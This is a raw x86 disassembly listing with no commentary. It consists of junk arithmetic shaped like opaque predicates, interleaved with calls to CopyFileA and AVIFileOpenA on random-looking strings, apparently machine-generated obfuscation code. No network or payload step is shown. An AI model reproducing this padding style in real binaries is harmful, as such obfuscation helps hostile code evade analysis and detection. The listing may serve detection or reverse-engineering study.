cmp dword [ebp - 0x2484], ecx
jne 0x40612e
mov dword [ebp - 0x2488], 1
jmp 0x406138
mov dword [ebp - 0x2488], 0
imul edx, dword [ebp - 0x90c], 0xaf
sub edx, dword [ebp - 0x90c]
add edx, 0x41
cmp edx, dword [ebp - 0x90c]
jne 0x40615f
mov dword [ebp - 0x248c], 1
jmp 0x406169
mov dword [ebp - 0x248c], 0
mov eax, dword [ebp - 0x2488]
and eax, dword [ebp - 0x248c]
and eax, dword [ebp - 0x90c]
mov ecx, dword [ebp - 0x90c]
xor ecx, 0x57
or eax, ecx
mov dword [ebp - 0x1178], eax
mov edx, dword [ebp - 0x1178]
add edx, dword [ebp - 0x1178]
and edx, 1
add edx, 1
imul eax, edx, 0
mov dword [ebp - 0x1178], eax
push 0
mov ecx, dword [ebp - 0x1178]
push ecx
mov edx, dword [ebp - 0x7310]
push edx
lea eax, [ebp - 0x9418]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 0
je 0x4066b6
mov dword [ebp - 0x7314], str.Fp5zX8ZOYoCp2L16trNQ
mov dword [ebp - 0x7318], str.pbVMS3k9YoJZqU9X
cmp dword [ebp - 0x2bc], 0xf0
jne 0x406202
mov dword [ebp - 0x2494], 1
jmp 0x40620c
mov dword [ebp - 0x2494], 0
mov ecx, 0xd
sub ecx, dword [ebp - 0x2bc]
cmp ecx, dword [ebp - 0x2bc]
je 0x40622b
mov dword [ebp - 0x2498], 1
jmp 0x406235
mov dword [ebp - 0x2498], 0
cmp dword [ebp - 0x2bc], 0x97
je 0x40624d
mov dword [ebp - 0x249c], 1
jmp 0x406257
mov dword [ebp - 0x249c], 0
cmp dword [ebp - 0x2bc], 0x32
jne 0x40626c
mov dword [ebp - 0x2490], 1
jmp 0x406276
mov dword [ebp - 0x2490], 0
mov edx, dword [ebp - 0x2490]
cmp edx, dword [ebp - 0x2bc]
je 0x406290
mov dword [ebp - 0x24a0], 1
jmp 0x40629a
mov dword [ebp - 0x24a0], 0
mov eax, dword [ebp - 0x2494]
xor eax, dword [ebp - 0x2bc]
mov ecx, dword [ebp - 0x2498]
and ecx, dword [ebp - 0x249c]
xor eax, ecx
mov edx, dword [ebp - 0x24a0]
and edx, 0x81
or eax, edx
mov dword [ebp - 0x61c], eax
mov eax, dword [ebp - 0x61c]
add eax, dword [ebp - 0x61c]
and eax, 1
add eax, 1
mov dword [ebp - 0x61c], eax
mov ecx, dword [ebp - 0x61c]
add ecx, 1
mov dword [ebp - 0x61c], ecx
mov edx, dword [ebp - 0x61c]
add edx, 1
mov dword [ebp - 0x61c], edx
mov eax, dword [ebp - 0x61c]
push eax
mov ecx, dword [ebp - 0x7314]
push ecx
mov edx, dword [ebp - 0x7318]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x720], eax
cmp dword [ebp - 0x720], 0
je 0x406414
mov dword [ebp - 0x731c], str.wFpxIGyLZy0QRXJdVXn21LrcFm0gp
imul eax, dword [ebp - 0x720], 0x64
imul eax, dword [ebp - 0x720]
mov ecx, dword [ebp - 0x720]
sub ecx, eax
imul edx, dword [ebp - 0x720], 0xd2
cmp ecx, edx
jne 0x406366
mov dword [ebp - 0x24a4], 1
jmp 0x406370
mov dword [ebp - 0x24a4], 0
mov eax, dword [ebp - 0x24a4]
cmp eax, dword [ebp - 0x720]
jne 0x40638a
mov dword [ebp - 0x24a8], 1
jmp 0x406394
mov dword [ebp - 0x24a8], 0
mov ecx, dword [ebp - 0x720]
sub ecx, 0xc2
add ecx, dword [ebp - 0x720]
xor ecx, dword [ebp - 0x24a8]
xor ecx, 0xfb
mov dword [ebp - 0x117c], ecx
mov edx, dword [ebp - 0x117c]
add edx, dword [ebp - 0x117c]
and edx, 1
add edx, 1
imul eax, edx, 5
mov dword [ebp - 0x117c], eax
push 0
mov ecx, dword [ebp - 0x117c]
push ecx
mov edx, dword [ebp - 0x731c]
push edx
lea eax, [ebp - 0x941c]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1ac4], eax
cmp dword [ebp - 0x1ac4], 0
je 0x406400
jmp 0x40640f
mov ecx, dword [ebp - 0x1ac4]
add ecx, 1
mov dword [ebp - 0x1ac4], ecx
jmp 0x4065a0
mov dword [ebp - 0x7320], str.3XpwTLSV
mov dword [ebp - 0x7324], str.vEEKwIJRh7FNIl3y8
imul edx, dword [ebp - 0x61c], 0
cmp dword [ebp - 0x61c], edx
jne 0x406443
mov dword [ebp - 0x24b8], 1
jmp 0x40644d
mov dword [ebp - 0x24b8], 0
imul eax, dword [ebp - 0x61c], 0x93
cmp dword [ebp - 0x61c], eax
jne 0x40646b
mov dword [ebp - 0x24ac], 1
jmp 0x406475
mov dword [ebp - 0x24ac], 0
mov ecx, dword [ebp - 0x61c]
sub ecx, 0xe5
cmp dword [ebp - 0x24ac], ecx
jne 0x406495
mov dword [ebp - 0x24b0], 1
jmp 0x40649f
mov dword [ebp - 0x24b0], 0
mov edx, dword [ebp - 0x24b0]
cmp edx, dword [ebp - 0x61c]
jne 0x4064b9
mov dword [ebp - 0x24bc], 1
jmp 0x4064c3
mov dword [ebp - 0x24bc], 0
cmp dword [ebp - 0x61c], 0x9d
je 0x4064db
mov dword [ebp - 0x24b4], 1
jmp 0x4064e5
mov dword [ebp - 0x24b4], 0
imul eax, dword [ebp - 0x61c], 0xe3
sub eax, dword [ebp - 0x61c]
cmp dword [ebp - 0x24b4], eax
jne 0x406509
mov dword [ebp - 0x24c0], 1
jmp 0x406513
mov dword [ebp - 0x24c0], 0
mov ecx, dword [ebp - 0x24b8]
xor ecx, dword [ebp - 0x24bc]
xor ecx, dword [ebp - 0x24c0]
mov edx, dword [ebp - 0x61c]
sub edx, dword [ebp - 0x61c]
mov eax, dword [ebp - 0x61c]
sub eax, dword [ebp - 0x61c]
and edx, eax
xor ecx, edx
mov dword [ebp - 0xb68], ecx
mov ecx, dword [ebp - 0xb68]
neg ecx
xor ecx, dword [ebp - 0xb68]
and ecx, 1
or ecx, 1
mov dword [ebp - 0xb68], ecx
mov edx, dword [ebp - 0xb68]
add edx, 1
mov dword [ebp - 0xb68], edx
mov eax, dword [ebp - 0xb68]
add eax, 1
mov dword [ebp - 0xb68], eax
mov ecx, dword [ebp - 0xb68]
push ecx
mov edx, dword [ebp - 0x7320]
push edx
mov eax, dword [ebp - 0x7324]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7328], eax
mov dword [ebp - 0x732c], str.XFnriU
mov dword [ebp - 0x7330], str.zE50fM5QpRJkz4d
mov ecx, dword [ebp - 0x720]
add ecx, 5
mov edx, dword [ebp - 0x720]
add edx, 0xf5
add edx, dword [ebp - 0x720]
add edx, 0xc5
sub edx, dword [ebp - 0x720]
sub edx, dword [ebp - 0x720]
sub edx, dword [ebp - 0x720]
cmp ecx, edx
je 0x4065f7
mov dword [ebp - 0x24c4], 1
jmp 0x406601
mov dword [ebp - 0x24c4], 0
mov eax, dword [ebp - 0x720]
sub eax, 0x97
mov ecx, dword [ebp - 0x720]
imul ecx, dword [ebp - 0x720]
cmp eax, ecx
je 0x406629
mov dword [ebp - 0x24c8], 1
jmp 0x406633
mov dword [ebp - 0x24c8], 0
mov edx, dword [ebp - 0x720]
imul edx, dword [ebp - 0x720]
sub edx, 0x6f
and edx, dword [ebp - 0x24c4]
xor edx, dword [ebp - 0x720]
or edx, dword [ebp - 0x24c8]
mov dword [ebp - 0xb6c], edx
mov eax, dword [ebp - 0xb6c]
neg eax
xor eax, dword [ebp - 0xb6c]
and eax, 1
or eax, 1
mov dword [ebp - 0xb6c], eax
mov ecx, dword [ebp - 0xb6c]
add ecx, 1
mov dword [ebp - 0xb6c], ecx
mov edx, dword [ebp - 0xb6c]
add edx, 1
mov dword [ebp - 0xb6c], edx
mov eax, dword [ebp - 0xb6c]
push eax
mov ecx, dword [ebp - 0x732c]
push ecx
mov edx, dword [ebp - 0x7330]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7334], eax
jmp 0x4066c5
mov eax, dword [ebp - 0x2bc]
add eax, 1
mov dword [ebp - 0x2bc], eax
mov dword [ebp - 0x7338], str.rBU1oeQcZBkAR
mov dword [ebp - 0x733c], str.Hh5VQZqDJ0baTqaKaTsaeY4FnB
mov ecx, dword [ebp - 0x2bc]
cmp ecx, dword [ebp - 0x2bc]
je 0x4066f3
mov dword [ebp - 0x24cc], 1
jmp 0x4066fd
mov dword [ebp - 0x24cc], 0
mov edx, dword [ebp - 0x24cc]
cmp edx, dword [ebp - 0x2bc]
jne 0x406717
mov dword [ebp - 0x24d0], 1
jmp 0x406721
mov dword [ebp - 0x24d0], 0
mov eax, dword [ebp - 0x2bc]
sub eax, 0x48
cmp eax, dword [ebp - 0x2bc]
je 0x40673e
mov dword [ebp - 0x24d4], 1
jmp 0x406748
mov dword [ebp - 0x24d4], 0
cmp dword [ebp - 0x2bc], 0xbf
jne 0x406760
mov dword [ebp - 0x24d8], 1
jmp 0x40676a
mov dword [ebp - 0x24d8], 0
mov ecx, dword [ebp - 0x2bc]
xor ecx, 0xfa
xor ecx, dword [ebp - 0x24d0]
or ecx, dword [ebp - 0x2bc]
mov edx, dword [ebp - 0x2bc]
imul edx, dword [ebp - 0x2bc]
imul edx, dword [ebp - 0x2bc]
imul edx, dword [ebp - 0x2bc]
add edx, 0x15
and edx, dword [ebp - 0x24d4]
or ecx, edx
mov eax, dword [ebp - 0x2bc]
and eax, dword [ebp - 0x24d8]
or ecx, eax
or ecx, dword [ebp - 0x2bc]
or ecx, dword [ebp - 0x2bc]
mov dword [ebp - 0x910], ecx
mov ecx, dword [ebp - 0x910]
neg ecx
xor ecx, dword [ebp - 0x910]
and ecx, 1
add ecx, 1
mov dword [ebp - 0x910], ecx
mov edx, dword [ebp - 0x910]
add edx, 1
mov dword [ebp - 0x910], edx
mov eax, dword [ebp - 0x910]
add eax, 1
mov dword [ebp - 0x910], eax
mov ecx, dword [ebp - 0x910]
push ecx
mov edx, dword [ebp - 0x7338]
push edx
mov eax, dword [ebp - 0x733c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x620], eax
cmp dword [ebp - 0x620], 0
je 0x4069d9
mov dword [ebp - 0x7340], str.ssxpQTljJ0elepqnAXEv2uKT
cmp dword [ebp - 0x620], 0xb8
je 0x406850
mov dword [ebp - 0x24dc], 1
jmp 0x40685a
mov dword [ebp - 0x24dc], 0
mov ecx, dword [ebp - 0x620]
imul ecx, dword [ebp - 0x620]
cmp dword [ebp - 0x24dc], ecx
je 0x40687b
mov dword [ebp - 0x24ec], 1
jmp 0x406885
mov dword [ebp - 0x24ec], 0
cmp dword [ebp - 0x620], 0x56
jne 0x40689a
mov dword [ebp - 0x24e0], 1
jmp 0x4068a4
mov dword [ebp - 0x24e0], 0
mov edx, dword [ebp - 0x24e0]
cmp edx, dword [ebp - 0x620]
je 0x4068be
mov dword [ebp - 0x24e4], 1
jmp 0x4068c8
mov dword [ebp - 0x24e4], 0
mov eax, dword [ebp - 0x620]
add eax, dword [ebp - 0x620]
cmp dword [ebp - 0x24e4], eax
je 0x4068e8
mov dword [ebp - 0x24e8], 1
jmp 0x4068f2
mov dword [ebp - 0x24e8], 0
mov ecx, dword [ebp - 0x620]
imul ecx, dword [ebp - 0x620]
cmp dword [ebp - 0x24e8], ecx
je 0x406913
mov dword [ebp - 0x24f0], 1
jmp 0x40691d
mov dword [ebp - 0x24f0], 0
mov edx, dword [ebp - 0x620]
imul edx, dword [ebp - 0x620]
imul eax, edx, 0x5f
cmp eax, dword [ebp - 0x620]
je 0x406941
mov dword [ebp - 0x24f4], 1
jmp 0x40694b
mov dword [ebp - 0x24f4], 0
mov ecx, dword [ebp - 0x620]
and ecx, dword [ebp - 0x620]
and ecx, 0xcd
mov edx, dword [ebp - 0x24ec]
and edx, dword [ebp - 0x24f0]
xor ecx, edx
or ecx, 0xd9
or ecx, dword [ebp - 0x24f4]
mov dword [ebp - 0x1180], ecx
mov eax, dword [ebp - 0x1180]
add eax, dword [ebp - 0x1180]
and eax, 1
add eax, 1
shl eax, 2
mov dword [ebp - 0x1180], eax
push 0
mov ecx, dword [ebp - 0x1180]
push ecx
mov edx, dword [ebp - 0x7340]
push edx
lea eax, [ebp - 0x9420]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1ac8], eax
cmp dword [ebp - 0x1ac8], 0
je 0x4069c5
jmp 0x4069d4
mov ecx, dword [ebp - 0x1ac8]
add ecx, 1
mov dword [ebp - 0x1ac8], ecx
jmp 0x406b2c
mov dword [ebp - 0x7344], str.ubR20cZCccgD5
mov dword [ebp - 0x7348], str.l2KmAZpZ09Oj
mov edx, dword [ebp - 0x910]
add edx, dword [ebp - 0x910]
cmp dword [ebp - 0x910], edx
je 0x406a0d
mov dword [ebp - 0x24f8], 1
jmp 0x406a17
mov dword [ebp - 0x24f8], 0
cmp dword [ebp - 0x24f8], 0x38
je 0x406a2c
mov dword [ebp - 0x24fc], 1
jmp 0x406a36
mov dword [ebp - 0x24fc], 0
mov eax, dword [ebp - 0x910]
sub eax, 0x23
cmp dword [ebp - 0x24fc], eax
jne 0x406a53
mov dword [ebp - 0x2500], 1
jmp 0x406a5d
mov dword [ebp - 0x2500], 0
mov ecx, dword [ebp - 0x910]
imul ecx, dword [ebp - 0x910]
add ecx, dword [ebp - 0x910]
cmp dword [ebp - 0x2500], ecx
jne 0x406a84
mov dword [ebp - 0x2508], 1
jmp 0x406a8e
mov dword [ebp - 0x2508], 0
cmp dword [ebp - 0x910], 0x4a
je 0x406aa3
mov dword [ebp - 0x2504], 1
jmp 0x406aad
mov dword [ebp - 0x2504], 0
mov edx, dword [ebp - 0x2504]
and edx, 0x4e
mov eax, dword [ebp - 0x910]
sub eax, dword [ebp - 0x910]
add eax, 0xdd
and edx, eax
or edx, dword [ebp - 0x2508]
mov dword [ebp - 0xb70], edx
mov ecx, dword [ebp - 0xb70]
add ecx, dword [ebp - 0xb70]
and ecx, 1
add ecx, 1
mov dword [ebp - 0xb70], ecx
mov edx, dword [ebp - 0xb70]
add edx, 1
mov dword [ebp - 0xb70], edx
mov eax, dword [ebp - 0xb70]
add eax, 1
mov dword [ebp - 0xb70], eax
mov ecx, dword [ebp - 0xb70]
push ecx
mov edx, dword [ebp - 0x7344]
push edx
mov eax, dword [ebp - 0x7348]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x734c], eax
mov dword [ebp - 0x7350], str.bXDOMM8o4
imul ecx, dword [ebp - 0x620], 0x65
cmp ecx, 0x8a
je 0x406b51
mov dword [ebp - 0x250c], 1
jmp 0x406b5b
mov dword [ebp - 0x250c], 0
imul edx, dword [ebp - 0x620], 0xa4
cmp edx, dword [ebp - 0x620]
je 0x406b79
mov dword [ebp - 0x2510], 1
jmp 0x406b83
mov dword [ebp - 0x2510], 0
mov eax, dword [ebp - 0x620]
xor eax, dword [ebp - 0x250c]
or eax, dword [ebp - 0x2510]
mov ecx, 0xd4
sub ecx, dword [ebp - 0x620]
and ecx, 0xa4
xor ecx, dword [ebp - 0x620]
or eax, ecx
mov dword [ebp - 0x1184], eax
mov edx, dword [ebp - 0x1184]
neg edx
xor edx, dword [ebp - 0x1184]
and edx, 1
or edx, 2
mov dword [ebp - 0x1184], edx
push 0
mov eax, dword [ebp - 0x1184]
push eax
mov ecx, dword [ebp - 0x7350]
push ecx
lea edx, [ebp - 0x9424]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1acc], eax
cmp dword [ebp - 0x1acc], 0
je 0x406bfb
jmp 0x406c0a
mov eax, dword [ebp - 0x1acc]
add eax, 1
mov dword [ebp - 0x1acc], eax
mov dword [ebp - 0x7354], str.RHtgQnhcDwP4eE1DN6xOgUdTLDx12
mov dword [ebp - 0x7358], str.Yd320Gm1PWrSoo
mov ecx, dword [ebp - 0x398]
sub ecx, 0xf5
mov edx, dword [ebp - 0x398]
sub edx, dword [ebp - 0x398]
cmp ecx, edx
je 0x406c46
mov dword [ebp - 0x2514], 1
jmp 0x406c50
mov dword [ebp - 0x2514], 0
mov eax, dword [ebp - 0x2514]
cmp eax, dword [ebp - 0x398]
jne 0x406c6a
mov dword [ebp - 0x251c], 1
jmp 0x406c74
mov dword [ebp - 0x251c], 0
mov ecx, dword [ebp - 0x398]
cmp ecx, dword [ebp - 0x398]
je 0x406c8e
mov dword [ebp - 0x2518], 1
jmp 0x406c98
mov dword [ebp - 0x2518], 0
mov edx, dword [ebp - 0x398]
add edx, 0xe6
and edx, 0xaa
and edx, dword [ebp - 0x2518]
xor edx, dword [ebp - 0x251c]
imul eax, dword [ebp - 0x398], 0xde
xor edx, eax
or edx, dword [ebp - 0x398]
or edx, 0x58
mov ecx, dword [ebp - 0x398]
and ecx, 0x58
or edx, ecx
mov dword [ebp - 0x9a8], edx
mov edx, dword [ebp - 0x9a8]
neg edx
and edx, 1
mov eax, dword [ebp - 0x9a8]
and eax, 1
cmp edx, eax
je 0x406d00
mov dword [ebp - 0x2520], 1
jmp 0x406d0a
mov dword [ebp - 0x2520], 0
mov ecx, dword [ebp - 0x2520]
add ecx, 1
mov dword [ebp - 0x9a8], ecx
mov edx, dword [ebp - 0x9a8]
add edx, 1
mov dword [ebp - 0x9a8], edx
mov eax, dword [ebp - 0x9a8]
add eax, 1
mov dword [ebp - 0x9a8], eax
mov ecx, dword [ebp - 0x9a8]
push ecx
mov edx, dword [ebp - 0x7354]
push edx
mov eax, dword [ebp - 0x7358]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x724], eax
cmp dword [ebp - 0x724], 0
je 0x407324
mov dword [ebp - 0x735c], str.HOK0ps
mov dword [ebp - 0x7360], str.WTeADdfxRyifok8pdYud
imul ecx, dword [ebp - 0x724], 0xd2
add ecx, dword [ebp - 0x724]
sub ecx, 0x24
mov edx, dword [ebp - 0x724]
imul edx, dword [ebp - 0x724]
add ecx, edx
cmp ecx, dword [ebp - 0x724]
je 0x406daf
mov dword [ebp - 0x2524], 1
jmp 0x406db9
mov dword [ebp - 0x2524], 0
mov eax, dword [ebp - 0x724]
imul eax, dword [ebp - 0x724]
cmp dword [ebp - 0x2524], eax
jne 0x406dda
mov dword [ebp - 0x2528], 1
jmp 0x406de4
mov dword [ebp - 0x2528], 0
cmp dword [ebp - 0x2528], 0x21
je 0x406df9
mov dword [ebp - 0x252c], 1
jmp 0x406e03
mov dword [ebp - 0x252c], 0
mov ecx, dword [ebp - 0x252c]
cmp ecx, dword [ebp - 0x724]
je 0x406e1d
mov dword [ebp - 0x2530], 1
jmp 0x406e27
mov dword [ebp - 0x2530], 0
mov edx, dword [ebp - 0x724]
add edx, dword [ebp - 0x724]
sub edx, 0x6a
sub edx, dword [ebp - 0x724]
cmp dword [ebp - 0x2530], edx
je 0x406e50
mov dword [ebp - 0x2534], 1
jmp 0x406e5a
mov dword [ebp - 0x2534], 0
mov eax, dword [ebp - 0x724]
xor eax, dword [ebp - 0x2534]
mov dword [ebp - 0x914], eax
mov ecx, dword [ebp - 0x914]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0x914]
and edx, 1
cmp ecx, edx
je 0x406e90
mov dword [ebp - 0x2538], 1
jmp 0x406e9a
mov dword [ebp - 0x2538], 0
mov eax, dword [ebp - 0x2538]
add eax, 1
mov dword [ebp - 0x914], eax
mov ecx, dword [ebp - 0x914]
add ecx, 1
mov dword [ebp - 0x914], ecx
mov edx, dword [ebp - 0x914]
add edx, 1
mov dword [ebp - 0x914], edx
mov eax, dword [ebp - 0x914]
push eax
mov ecx, dword [ebp - 0x735c]
push ecx
mov edx, dword [ebp - 0x7360]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x850], eax
cmp dword [ebp - 0x850], 0
je 0x407055
mov dword [ebp - 0x7364], str.vO1Bw2wUtv4ppMYg00NXDPfh2
mov dword [ebp - 0x7368], str.Ua509wpwSs7petYercYUpPXLYo4
mov eax, dword [ebp - 0x850]
add eax, 0xd5
mov ecx, dword [ebp - 0x850]
add ecx, dword [ebp - 0x850]
cmp eax, ecx
je 0x406f30
mov dword [ebp - 0x2544], 1
jmp 0x406f3a
mov dword [ebp - 0x2544], 0
mov edx, dword [ebp - 0x850]
add edx, 0xfe
cmp edx, 0x34
je 0x406f57
mov dword [ebp - 0x253c], 1
jmp 0x406f61
mov dword [ebp - 0x253c], 0
mov eax, dword [ebp - 0x253c]
cmp eax, dword [ebp - 0x850]
je 0x406f7b
mov dword [ebp - 0x2540], 1
jmp 0x406f85
mov dword [ebp - 0x2540], 0
mov ecx, dword [ebp - 0x2540]
cmp ecx, dword [ebp - 0x850]
je 0x406f9f
mov dword [ebp - 0x2548], 1
jmp 0x406fa9
mov dword [ebp - 0x2548], 0
mov edx, 0x47
sub edx, dword [ebp - 0x850]
cmp edx, 0x76
je 0x406fc5
mov dword [ebp - 0x254c], 1
jmp 0x406fcf
mov dword [ebp - 0x254c], 0
mov eax, dword [ebp - 0x850]
imul eax, dword [ebp - 0x850]
and eax, 0x7a
xor eax, dword [ebp - 0x2544]
xor eax, dword [ebp - 0x2548]
xor eax, dword [ebp - 0x254c]
mov dword [ebp - 0xb74], eax
mov ecx, dword [ebp - 0xb74]
neg ecx
xor ecx, dword [ebp - 0xb74]
and ecx, 1
add ecx, 1
mov dword [ebp - 0xb74], ecx
mov edx, dword [ebp - 0xb74]
add edx, 1
mov dword [ebp - 0xb74], edx
mov eax, dword [ebp - 0xb74]
add eax, 1
mov dword [ebp - 0xb74], eax
mov ecx, dword [ebp - 0xb74]
push ecx
mov edx, dword [ebp - 0x7364]
push edx
mov eax, dword [ebp - 0x7368]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x736c], eax
jmp 0x4071de
mov dword [ebp - 0x7370], str.tU0ejfY70IyLBh9BEpSTksCjltAcwFoc
mov ecx, dword [ebp - 0x914]
add ecx, dword [ebp - 0x914]
cmp ecx, dword [ebp - 0x914]
jne 0x40707f
mov dword [ebp - 0x2550], 1
jmp 0x407089
mov dword [ebp - 0x2550], 0
cmp dword [ebp - 0x2550], 0xc1
jne 0x4070a1
mov dword [ebp - 0x255c], 1
jmp 0x4070ab
mov dword [ebp - 0x255c], 0
imul edx, dword [ebp - 0x914], 0xce
cmp edx, dword [ebp - 0x914]
je 0x4070c9
mov dword [ebp - 0x2554], 1
jmp 0x4070d3
mov dword [ebp - 0x2554], 0
imul eax, dword [ebp - 0x914], 0x2d
cmp dword [ebp - 0x2554], eax
jne 0x4070ee
mov dword [ebp - 0x2560], 1
jmp 0x4070f8
mov dword [ebp - 0x2560], 0
imul ecx, dword [ebp - 0x914], 0x74
cmp ecx, 0xfb
jne 0x407113
mov dword [ebp - 0x2558], 1
jmp 0x40711d
mov dword [ebp - 0x2558], 0
mov edx, dword [ebp - 0x2558]
cmp edx, dword [ebp - 0x914]
je 0x407137
mov dword [ebp - 0x2564], 1
jmp 0x407141
mov dword [ebp - 0x2564], 0
mov eax, dword [ebp - 0x914]
sub eax, 0xd
and eax, dword [ebp - 0x255c]
or eax, dword [ebp - 0x2560]
mov ecx, dword [ebp - 0x914]
and ecx, dword [ebp - 0x2564]
or eax, ecx
mov dword [ebp - 0x1188], eax
mov edx, dword [ebp - 0x1188]
not edx
cmp edx, dword [ebp - 0x1188]
jne 0x407186
mov dword [ebp - 0x2568], 1
jmp 0x407190
mov dword [ebp - 0x2568], 0
mov eax, dword [ebp - 0x2568]
add eax, 1
shl eax, 2
mov dword [ebp - 0x1188], eax
push 0
mov ecx, dword [ebp - 0x1188]
push ecx
mov edx, dword [ebp - 0x7370]
push edx
lea eax, [ebp - 0x9428]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1ad0], eax
cmp dword [ebp - 0x1ad0], 0
je 0x4071cf
jmp 0x4071de
mov ecx, dword [ebp - 0x1ad0]
add ecx, 1
mov dword [ebp - 0x1ad0], ecx
mov dword [ebp - 0x7374], str.B0GwAYFVLpCdwKktvDN5YdN
mov edx, dword [ebp - 0x850]
add edx, 0x6a
mov eax, dword [ebp - 0x850]
imul eax, dword [ebp - 0x850]
cmp edx, eax
jne 0x40720e
mov dword [ebp - 0x256c], 1
jmp 0x407218
mov dword [ebp - 0x256c], 0
cmp dword [ebp - 0x256c], 0x1f
je 0x40722d
mov dword [ebp - 0x2574], 1
jmp 0x407237
mov dword [ebp - 0x2574], 0
mov ecx, dword [ebp - 0x850]
cmp ecx, dword [ebp - 0x850]
je 0x407251
mov dword [ebp - 0x2570], 1
jmp 0x40725b
mov dword [ebp - 0x2570], 0
mov edx, 0x5d
sub edx, dword [ebp - 0x850]
imul eax, dword [ebp - 0x850], 0xc7
sub edx, eax
cmp dword [ebp - 0x2570], edx
jne 0x407286
mov dword [ebp - 0x2578], 1
jmp 0x407290
mov dword [ebp - 0x2578], 0
mov ecx, dword [ebp - 0x2574]
or ecx, dword [ebp - 0x850]
or ecx, dword [ebp - 0x850]
or ecx, dword [ebp - 0x2578]
mov dword [ebp - 0x118c], ecx
mov edx, dword [ebp - 0x118c]
not edx
cmp edx, dword [ebp - 0x118c]
jne 0x4072ca
mov dword [ebp - 0x257c], 1
jmp 0x4072d4
mov dword [ebp - 0x257c], 0
mov eax, dword [ebp - 0x257c]
or eax, 1
mov dword [ebp - 0x118c], eax
push 0
mov ecx, dword [ebp - 0x118c]
push ecx
mov edx, dword [ebp - 0x7374]
push edx
lea eax, [ebp - 0x942c]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1ad4], eax
cmp dword [ebp - 0x1ad4], 0
je 0x407310
jmp 0x40731f
mov ecx, dword [ebp - 0x1ad4]
add ecx, 1
mov dword [ebp - 0x1ad4], ecx
jmp 0x407819
mov dword [ebp - 0x7378], str.w8KrcQVSY3ZGhVmrN5DekcJKXmjxg
mov dword [ebp - 0x737c], str.ho1b9no
mov edx, dword [ebp - 0x9a8]
cmp edx, dword [ebp - 0x9a8]
jne 0x407352
mov dword [ebp - 0x2580], 1
jmp 0x40735c
mov dword [ebp - 0x2580], 0
imul eax, dword [ebp - 0x9a8], 0x8a
sub eax, 0xe8
cmp dword [ebp - 0x2580], eax
jne 0x40737f
mov dword [ebp - 0x2598], 1
jmp 0x407389
mov dword [ebp - 0x2598], 0
mov ecx, dword [ebp - 0x9a8]
cmp ecx, dword [ebp - 0x9a8]
jne 0x4073a3
mov dword [ebp - 0x2584], 1
jmp 0x4073ad
mov dword [ebp - 0x2584], 0
mov edx, dword [ebp - 0x2584]
cmp edx, dword [ebp - 0x9a8]
jne 0x4073c7
mov dword [ebp - 0x2590], 1
jmp 0x4073d1
mov dword [ebp - 0x2590], 0
imul eax, dword [ebp - 0x9a8], 0xc7
cmp eax, 0x4d
je 0x4073ec
mov dword [ebp - 0x2588], 1
jmp 0x4073f6
mov dword [ebp - 0x2588], 0
mov ecx, dword [ebp - 0x2588]
cmp ecx, dword [ebp - 0x9a8]
je 0x407410
mov dword [ebp - 0x258c], 1
jmp 0x40741a
mov dword [ebp - 0x258c], 0
cmp dword [ebp - 0x258c], 0xde
jne 0x407432
mov dword [ebp - 0x2594], 1
jmp 0x40743c
mov dword [ebp - 0x2594], 0
mov edx, dword [ebp - 0x2590]
and edx, dword [ebp - 0x2594]
xor edx, dword [ebp - 0x2598]
xor edx, dword [ebp - 0x9a8]
mov dword [ebp - 0x9ac], edx
mov eax, dword [ebp - 0x9ac]
not eax
cmp eax, dword [ebp - 0x9ac]
jne 0x407476
mov dword [ebp - 0x259c], 1
jmp 0x407480
mov dword [ebp - 0x259c], 0
mov ecx, dword [ebp - 0x259c]
add ecx, 1
mov dword [ebp - 0x9ac], ecx
mov edx, dword [ebp - 0x9ac]
add edx, 1
mov dword [ebp - 0x9ac], edx
mov eax, dword [ebp - 0x9ac]
add eax, 1
mov dword [ebp - 0x9ac], eax
mov ecx, dword [ebp - 0x9ac]
push ecx
mov edx, dword [ebp - 0x7378]
push edx
mov eax, dword [ebp - 0x737c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x9b0], eax
cmp dword [ebp - 0x9b0], 0
je 0x4075d6
mov dword [ebp - 0x7380], str.aeFBrlqhrNbpZqylMlmSuHVxk7Een9
mov dword [ebp - 0x7384], str.nVwnn7l8GX
imul ecx, dword [ebp - 0x9b0], 0x3b
mov edx, dword [ebp - 0x9b0]
sub edx, ecx
imul eax, dword [ebp - 0x9b0], 0x1f
imul eax, dword [ebp - 0x9b0]
add edx, eax
mov ecx, dword [ebp - 0x9b0]
shl ecx, 1
cmp edx, ecx
jne 0x407526
mov dword [ebp - 0x25a0], 1
jmp 0x407530
mov dword [ebp - 0x25a0], 0
mov edx, 0x23
sub edx, dword [ebp - 0x9b0]
mov eax, dword [ebp - 0x9b0]
add eax, 0x1c
and edx, eax
xor edx, dword [ebp - 0x25a0]
or edx, 0xa
mov dword [ebp - 0xb78], edx
mov ecx, dword [ebp - 0xb78]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0xb78]
and edx, 1
cmp ecx, edx
je 0x407579
mov dword [ebp - 0x25a4], 1
jmp 0x407583
mov dword [ebp - 0x25a4], 0
mov eax, dword [ebp - 0x25a4]
add eax, 1
mov dword [ebp - 0xb78], eax
mov ecx, dword [ebp - 0xb78]
add ecx, 1
mov dword [ebp - 0xb78], ecx
mov edx, dword [ebp - 0xb78]
add edx, 1
mov dword [ebp - 0xb78], edx
mov eax, dword [ebp - 0xb78]
